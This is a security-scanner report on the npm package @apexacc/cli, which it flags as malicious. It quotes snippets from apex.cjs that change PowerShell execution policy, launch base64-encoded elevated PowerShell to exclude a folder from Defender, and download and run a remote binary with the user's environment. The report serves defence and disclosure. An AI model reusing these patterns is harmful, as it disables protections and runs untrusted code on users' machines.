Loading npm security reports…

@apexacc/cli: Malicious npm security report (Block) | LPM Firewall

registry / @apexacc/cli / 1.6.2

@apexacc/cli@1.6.2

Apex Copilot CLI — AI advisor for Web3 founders

AI Security Review

scanned 10d ago · by lpm-firewall-ai

The user-invoked CLI weakens Windows execution protections and requests elevated changes that exclude its working directory from Defender. It then downloads and runs a remote binary.

Static reason

No blocking static signals were detected.; source matched previously finalized malicious package; routed for review; previous stored version diff introduced dangerous source

Trigger

Running the apex CLI on Windows; the elevated protection changes are gated to Windows 11.

Impact

This reduces endpoint protections and executes an externally supplied binary, increasing the risk of untrusted code running with access to the user's environment.

Mechanism

apex.cjs invokes PowerShell, requests elevated PowerShell execution, modifies Defender and code-integrity settings, downloads a GitHub release asset, and starts that asset with inherited environment variables.

Attack narrative

The package exposes apex.cjs as the apex command. When launched on Windows it changes PowerShell execution policy. On Windows 11 it asks for elevation, excludes ~/.apex from Defender scanning, and modifies a code-integrity policy registry setting. The launcher then downloads a release binary and executes it with the invoking process environment. Although this is not an npm lifecycle hook, the security-control changes and remote binary execution are concrete harmful behavior.

AI rationale

The launcher deliberately disables or weakens host security controls before downloading and executing a remote binary. This is concrete malicious behavior despite requiring an explicit CLI invocation.

Evidence

package.jsonapex.cjs~/.apexHKLM\SYSTEM\CurrentControlSet\Control\CI\Policy

Network endpoints1

Source & flagged code

7 flagged · loading source

apex.cjsView file

1#!/usr/bin/env node L2: if (process.platform === 'win32') { try { require('child_process').execSync('powershell -Command "Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force"', { stdio: 'ignore' })... L3: const { spawnSync } = require('child_process')

High

Child Process

Package source references child process execution.

apex.cjsView on unpkg · L1

1#!/usr/bin/env node L2: if (process.platform === 'win32') { try { require('child_process').execSync('powershell -Command "Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force"', { stdio: 'ignore' })... L3: const { spawnSync } = require('child_process')

High

Shell

Package source references shell execution.

apex.cjsView on unpkg · L1

95mkdirSync(join(os.homedir(), '.apex'), { recursive: true }) L96: await download(`https://github.com/${REPO}/releases/download/v${VERSION}/apex-verify-darwin`, verifyPath) L97: require('fs').chmodSync(verifyPath, 0o755) ... L104: ensureBinary().then(() => { L105: const result = spawnSync(BIN_PATH, process.argv.slice(2), { L106: stdio: 'inherit', env: process.env L107: })

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

apex.cjsView on unpkg · L95

1Trigger-reachable persistence chain: manifest.bin -> apex.cjs L1: #!/usr/bin/env node L2: if (process.platform === 'win32') { try { require('child_process').execSync('powershell -Command "Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force"', { stdio: 'ignore' })... L3: const { spawnSync } = require('child_process') ... L5: const { existsSync, mkdirSync, createWriteStream } = require('fs') L6: const https = require('https') L7: const os = require('os') ... L16: if (_isWin11) { L17: const _home = require('os').homedir() L18: const _ps = ` ... L21: `.replace(/\n/g, ';') L22: const _enc = Buffer.from(_ps, 'utf16le').toString('base64') L23: _sp('powershell', [

High

Trigger Reachable Persistence

A manifest entrypoint or package-local install chain reaches persistence behavior.

apex.cjsView on unpkg · L1

•matchType = previous_version_dangerous_delta matchedPackage = @apexacc/cli@1.5.109 matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.5.109 similarity = 0.667 summary = stored previous version shares package body but lacks this dangerous source file

High

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

apex.cjsView on unpkg

1#!/usr/bin/env node L2: if (process.platform === 'win32') { try { require('child_process').execSync('powershell -Command "Set-ExecutionPolicy RemoteSigned -Scope CurrentUser -Force"', { stdio: 'ignore' })... L3: const { spawnSync } = require('child_process') ... L5: const { existsSync, mkdirSync, createWriteStream } = require('fs') L6: const https = require('https') L7: const os = require('os') ... L16: if (_isWin11) { L17: const _home = require('os').homedir() L18: const _ps = ` ... L21: `.replace(/\n/g, ';') L22: const _enc = Buffer.from(_ps, 'utf16le').toString('base64') L23: _sp('powershell', [

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

apex.cjsView on unpkg · L1

bin/apexView file

•matchType = normalized_sha256 matchedPackage = @apexacc/cli@1.6.1 matchedPath = bin/apex matchedIdentity = npm:QGFwZXhhY2MvY2xp:1.6.1 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/apexView on unpkg